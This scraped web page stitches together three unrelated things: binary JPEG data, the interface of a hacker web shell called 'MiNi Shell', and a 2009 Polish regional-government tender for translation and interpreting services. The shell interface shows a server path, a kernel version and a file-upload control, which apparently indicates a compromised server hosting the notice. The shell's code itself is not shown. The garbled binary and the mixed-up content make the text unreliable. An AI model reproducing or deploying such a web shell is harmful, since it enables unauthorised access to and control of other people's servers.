JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20090312/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20090312/60618-N-2009.html

<p class="kh_header"><b>Wrocław: USŁUGA REALIZACJI TŁUMACZEŃ PISEMNYCH ZWYKŁYCH I PRZYSIĘGŁYCH ORAZ TŁUMACZEŃ USTNYCH - SYMULTANICZNYCH I KONSEKUTYWNYCH W RAMACH JĘZYKA ANGIELSKIEGO, NIEMIECKIEGO, FRANCUSKIEGO, CZESKIEGO, ROSYJSKIEGO, UKRAIŃSKIEGO, WŁOSKIEGO, HISZPAŃSKIEGO.</b><br>
<b>Numer ogłoszenia: 60618 - 2009; data zamieszczenia: 12.03.2009</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Województwo Dolnośląskie - Urząd Marszałkowski Województwa Dolnośląskiego , ul. Wybrzeże J. Słowackiego 12-14, 50-411 Wrocław, woj. dolnośląskie, tel. 071 7769397,7769703-05,7779229, faks 071 7769141, 7769702.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.umwd.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> USŁUGA REALIZACJI TŁUMACZEŃ PISEMNYCH ZWYKŁYCH I PRZYSIĘGŁYCH ORAZ TŁUMACZEŃ USTNYCH - SYMULTANICZNYCH I KONSEKUTYWNYCH W RAMACH JĘZYKA ANGIELSKIEGO, NIEMIECKIEGO, FRANCUSKIEGO, CZESKIEGO, ROSYJSKIEGO, UKRAIŃSKIEGO, WŁOSKIEGO, HISZPAŃSKIEGO..</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Zakres realizacji usługi obejmuje tłumaczenia pisemne zwykłe i przysięgłe oraz tłumaczenia ustne - symultaniczne i konsekutywne, świadczone na rzecz Zamawiającego.
Przedmiot umowy będzie realizowany sukcesywnie, zgodnie z zapotrzebowaniem zamawiającego. Zamawiający każdorazowo prześle wykonawcy w formie pisemnej (faksem lub drogą elektroniczną) zamówienie na tłumaczenia pisemne i/lub ustne, oraz najpóźniej na 2 dni robocze przed mającym się odbyć spotkaniem/konferencją, prześle wykonawcy w formie pisemnej zlecenie na tłumaczenia ustne. W zleceniu zawarte będą niezbędne informacje potrzebne do jego realizacji, a w szczególności: rodzaj tłumaczeń; języki obce w jakich będą dokonywane tłumaczenia; ilość tłumaczy; termin, miejsce, przewidywany czasu trwania spotkania/konferencji; tematyka spotkania/konferencji; przewidywana ilość uczestników.
Tłumaczenia ustne będą wykonywane na terenie kraju.
Zamawiający w nagłych przypadkach może powiadomić wykonawcę o mającym się odbyć spotkaniu/konferencji, w terminie krótszym niż, przewidziane w zapisach umowy, 2 dni robocze przed mającym się odbyć spotkaniem/konferencją, a wykonawca zobowiązany jest do realizacji tego zlecenia.
Zamawiający może zaakceptować przesyłanie dokumentów drogą elektroniczną lub faksem. Tłumaczenie pisemne przesłane drogą elektroniczną powinno być w takiej formie, aby zamawiający mógł dokonać zmian w jego treści.
Wykonawca zapewnia, że w spotkaniu/konferencji wezmą udział tłumacze w ilości wskazanej przez zamawiającego w zleceniu, a także że będą posiadali odpowiednie kwalifikacje i doświadczenie do wykonania tłumaczeń danego rodzaju. Tłumacz zobowiązany jest do stawienia się w stroju odpowiednim do mającego się odbyć spotkania/konferencji.
Wykonawca zapewni własny odbiór materiałów do tłumaczenia pisemnego oraz dostarczy gotowe tłumaczenie do siedziby zamawiającego. 
Wykonawca zobowiązany jest zachować układ dokumentu oryginalnego. 
Wykonawca zrealizuje zamówienie w następujących terminach:
.	do 4 dni roboczych, dla materiałów zawierających jednorazowo nie więcej niż 25 stron tłumaczeniowych, liczonych od chwili ich przekazania Wykonawcy.
.	do 8 dni roboczych, dla materiałów zawierających więcej niż 25 stron tłumaczeniowych, liczonych od chwili ich przekazania Wykonawcy.

Tłumaczenia dotyczą języków: angielskiego, niemieckiego, francuskiego, czeskiego, rosyjskiego, ukraińskiego, włoskiego, hiszpańskiego

Tłumaczenie pisemne zwykłe:
Z języka obcego - 100 stron
Na język obcy - 100 stron

Tłumaczenie pisemne  przysięgłe:
Z języka obcego - 50 stron
Na język obcy - 50 stron

Tłumaczenie symultaniczne - 50 godzin
Tłumaczenie konsekutywne - 20 godzin.</p>
<p><b>II.1.4) Wspólny Słownik Zamówień (CPV):</b> 79.54.00.00-1, 79.53.00.00-8.</p>
<p><b>II.1.5) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.1.7) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p><p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 31.03.2010.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WARUNKI DOTYCZĄCE ZAMÓWIENIA</b>
</p><b>Informacja na temat wadium:</b> nie dotyczy<br><p><b>III.2) WARUNKI UDZIAŁU</b></p>
<ul class="kh_indent_1"><li><b>Opis warunków udziału w postępowaniu oraz opis sposobu dokonywania oceny spełniania tych warunków:</b> 1.	O udzielenie niniejszego zamówienia mogą się ubiegać wykonawcy, którzy:
a)	posiadają uprawnienia niezbędne do wykonywania działalności lub czynności, jeżeli ustawy nakładają obowiązek posiadania takich uprawnień; 
b)	posiadają niezbędną wiedzę i doświadczenie oraz dysponują potencjałem technicznym i osobami zdolnymi do wykonania zamówienia lub przedstawią pisemne zobowiązanie innych podmiotów do udostępnienia potencjału technicznego i osób zdolnych do wykonania zamówienia; tj.: 
1)	w zakresie doświadczenia zawodowego wykażą się, w ciągu ostatnich trzech lat przed dniem wszczęcia postępowania o udzielenie zamówienia publicznego, a jeżeli okres prowadzenia działalności jest krótszy- w tym okresie: wykonali minimum jedną usługę, odpowiadającą przedmiotowi niniejszego zamówienia tzn. usługę realizacji tłumaczeń pisemnych zwykłych i przysięgłych oraz tłumaczeń ustnych - symultanicznych i konsekutywnych w ramach języka angielskiego, niemieckiego, francuskiego, czeskiego, rosyjskiego, ukraińskiego, włoskiego, hiszpańskiego o wartości nie mniejszej niż 20 tys. zł brutto każda; 
2)	w zakresie osób i/lub podmiotów pozostających do dyspozycji Wykonawcy: wykonawca dysponuje minimum jednym tłumaczem dla każdego języka wymienionego w szczegółowym opisie zamówienia, którzy spełniają poniższe warunki:

I.	Posiada tytuł magistra filologii obcej lub kwalifikacje językowe(odpowiednio w ramach każdego języka) na poziomie C2 - zgodnie ze skalą biegłości językowej według Rady Europy. Dokument musi być wydany przez niezależny ośrodek egzaminacyjny;
II.	W przypadku tłumaczeń pisemnych: posiada co najmniej dwuletnie doświadczenie 
w tłumaczeniach pisemnych i przetłumaczył co najmniej 2000 stron po uzyskaniu kwalifikacji wymienionych w punkcie 1  oraz/lub
III.	     W przypadku tłumaczeń ustnych: posiada co najmniej dwuletnie doświadczenie w          
         tłumaczeniach ustnych symultanicznych i konsekutywnych.

Warunki I + II + III mogą zostać spełnione łącznie przez jednego tłumacza 
lub
 dwóch tłumaczy, z których jeden tłumacz spełniający warunki I + II oraz drugi tłumacz spełniający warunki I i III.

c)	znajdują się w sytuacji ekonomicznej i finansowej zapewniającej wykonanie zamówienia; 
d)	nie podlegają wykluczeniu z postępowania o udzielenie zamówienia na podst. art. 24 ust. 1 
i ust. 2.
2.	Wykonawcy mogą wspólnie ubiegać się o udzielenie zamówienia. Przepisy dotyczące Wykonawcy stosuje się odpowiednio do wykonawców wspólnie ubiegających się o zamówienie. Przy ocenie spełniania warunków przez osoby wspólnie składające ofertę Zamawiający przyjmuje, że wymagania o charakterze podmiotowym powinni spełniać wszyscy współubiegający się                  o zamówienie, natomiast wymagania dotyczące posiadania niezbędnej wiedzy i doświadczenia oraz dysponowania osobami zdolnymi do wykonania zamówienia mogą spełniać tylko niektórzy  z tych Wykonawców, tak by sumarycznie w odniesieniu do wszystkich tych Wykonawców były spełnione łącznie.
3.	Ocena spełniania ww. warunków dokonana zostanie zgodnie z formułą spełnia-nie spełnia
w oparciu o informacje zawarte w dokumentach lub oświadczeniach wyszczególnionych 
w rozdziale VI SIWZ. 
4.	Z treści załączonych dokumentów musi jednoznacznie wynikać, iż ww. warunki Wykonawca spełnił.
5.	Zamawiający wzywa do uzupełnienia oświadczeń lub dokumentów potwierdzających spełnienie warunków udziału w postępowaniu na zasadach określonych art. 26 ust.3 Ustawy Pzp.
6.	Nie spełnienie któregokolwiek z ww. warunków udziału w postępowaniu skutkować będzie wykluczeniem wykonawcy z postępowania, z zastrzeżeniem art. 26 ust. 3 Ustawy Pzp.</li>
<li><b>Informacja o oświadczeniach i dokumentach, jakie mają dostarczyć wykonawcy w celu potwierdzenia spełniania warunków udziału w postępowaniu:</b> VI.1.Wykonawcy składają wraz z ofertą następujące dokumenty:
1.	Aktualny odpis z właściwego rejestru albo aktualne zaświadczenie o wpisie do ewidencji działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub zgłoszenia do ewidencji działalności gospodarczej, wystawione nie wcześniej niż 6 miesięcy przed upływem terminu składania ofert. W przypadku gdy wykonawcą jest podmiot zobowiązany do rejestracji w Krajowym Rejestrze Sądowym, a w załączonym odpisie z rejestru nie uwzględniono zmian w tekście dokumentu, wykonawca dodatkowo zobowiązany jest do dołączenia do oferty dowodu złożenia w sądzie rejestrowym ww. zmian.
2.	Oświadczenie wykonawcy o spełnianiu warunków udziału w postępowaniu na podstawie 
art. 22 ust 1 pkt 1-4 (wzór oświadczenia stanowi Załącznik nr 2 do SIWZ). W przypadku Wykonawców wspólnie ubiegających się o udzielenie zamówienia,  Wykonawcy mogą złożyć oświadczenie wspólnie na jednym dokumencie  (oświadczenie podpisane przez Pełnomocnika lub przez każdego z Wykonawców odrębnie) lub każdy z nich na odrębnym dokumencie.
3.	Wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych, również wykonywanych usług  w okresie ostatnich 3 lat przed dniem wszczęcia postępowania o udzielenie zamówienia, 
a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, polegających na wykonaniu usług określonych w Rozdziale V pkt 1 lit. b, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców wraz z  dokumentami potwierdzającymi, że zamówienia te zostały wykonane należycie ( Załącznik nr 3 do SIWZ).
4.	Wykaz osób i podmiotów, które będą uczestniczyć w wykonywaniu zamówienia, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia, a także zakresu wykonywanych przez nie czynności ( wzór wykazu stanowi  Załącznik nr 4 do SIWZ).

VI.2. Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, składa:
1) zamiast dokumentów, o których mowa w rozdz. VI. pkt 1 ppkt 1 SIWZ dokument lub dokumenty wystawione w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzające odpowiednio, że:
-	nie otwarto jego likwidacji ani nie ogłoszono upadłości, (powinny być wystawione nie wcześniej niż, 6 miesięcy przed upływem terminu składania ofert w postępowaniu 
o udzielenie zamówienia.);
-	nie orzeczono wobec niego zakazu ubiegania się o zamówienie (powinny być wystawione nie wcześniej niż, 6 miesięcy przed upływem terminu składania ofert w postępowaniu 
o udzielenie zamówienia.).
Jeżeli w kraju pochodzenia osoby lub w kraju, w którym Wykonawca ma siedzibę lub miejsce zamieszkania, nie wydaje się ww. dokumentu lub dokumentów zastępuje się je dokumentem zawierającym oświadczenie złożone przed notariuszem, właściwym organem sądowym, administracyjnym albo organem samorządu zawodowego lub gospodarczego odpowiednio kraju pochodzenia osoby lub kraju, w którym wykonawca ma siedzibę lub miejsce zamieszkania. Dokumenty te powinny być wystawione w terminach określonych odpowiednio powyżej w pkt 1). 

Dokumenty, są składane w formie oryginału lub kopii poświadczonej przez wykonawcę za zgodność  z oryginałem. Dokumenty sporządzone w języku obcym są składane wraz z tłumaczeniem na język polski poświadczonym przez Wykonawcę.

Pozostałe dokumenty z punktu VI Wykonawca, który ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej składa w formie i treści w nim określonej.

VI.3. Wykonawcy wspólnie ubiegający się o udzielenie zamówienia publicznego
1.	Wykonawcy wspólnie ubiegający się o niniejsze zamówienie ustanawiają Pełnomocnika do reprezentowania ich w niniejszym postępowaniu lub do reprezentowania ich w niniejszym postępowaniu i zawarcia umowy w sprawie zamówienia publicznego.
2.	Wszelka korespondencja prowadzona będzie wyłącznie z Pełnomocnikiem.
3.	Wykonawcy wspólnie ubiegający się o niniejsze zamówienie, których oferta zostanie uznana 
za najkorzystniejszą, przed zawarciem umowy o realizację zamówienia są zobowiązani przedłożyć Zamawiającemu umowę regulującą współpracę tych Wykonawców. W tym celu przed podpisaniem umowy o niniejsze zamówienie są oni zobowiązani przedstawić Zamawiającemu stosowne porozumienie (umowę) zawierające w swojej treści co najmniej następujące postanowienia:
a)	zawiązania porozumienia co najmniej na czas nie krótszy niż czas trwania umowy,
b)	wskazanie Pełnomocnika,
c)	zapis o wspólnej i solidarnej odpowiedzialności w zakresie realizowanego zamówienia,
d)	zakaz zmiany Partnerów (Wykonawców) wspólnie realizujących dane zamówienie publiczne w trakcie jego obowiązywania..</li></ul>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>

<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>
<br><p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p><p><b>IV.2.2) Wykorzystana będzie aukcja elektroniczna:</b> nie.</p><br><p><b>IV.3) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.3.1)</b>&nbsp;<b>Adres strony internetowej, na której dostępna jest specyfikacja istotnych warunków zamówienia:</b> www.bip.umwd.pl.<br><b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Urząd Marszałkowski Województwa Dolnośląskiego
Wybrzeże J. Słowackiego 12 - 14, 
50 - 411 Wrocław.</p>
<p><b>IV.3.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 23.03.2009 godzina 09:30, miejsce: Urząd Marszałkowski Województwa Dolnośląskiego
Wybrzeże J. Słowackiego 12 - 14, 
50 - 411 Wrocław
pok. nr 101.</p><p><b>IV.3.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com